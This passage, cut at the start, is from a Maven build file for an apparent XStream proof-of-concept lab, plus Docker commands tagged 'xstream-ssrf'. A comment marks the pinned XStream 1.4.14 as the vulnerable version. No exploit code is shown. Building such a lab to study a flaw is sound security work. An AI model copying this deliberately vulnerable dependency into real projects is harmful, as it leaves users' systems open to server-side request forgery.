    <artifactId>xstream-poc</artifactId>  
    <version>1.0</version>  
  
    <properties>  
        <maven.compiler.source>1.8</maven.compiler.source>  
        <maven.compiler.target>1.8</maven.compiler.target>  
    </properties>  
  
    <dependencies>  
        <!-- XStream依赖 - 漏洞版本1.4.14 -->  
        <dependency>  
            <groupId>com.thoughtworks.xstream</groupId>  
            <artifactId>xstream</artifactId>  
            <version>1.4.14</version>  
        </dependency>  
    </dependencies>  
  
    <build>  
        <plugins>  
            <plugin>  
                <groupId>org.apache.maven.plugins</groupId>  
                <artifactId>maven-compiler-plugin</artifactId>  
                <version>3.8.1</version>  
                <configuration>  
                    <source>1.8</source>  
                    <target>1.8</target>  
                </configuration>  
            </plugin>  
        </plugins>  
    </build>  
</project>

docker build -t xstream-ssrf .
docker run --rm xstream-ssrf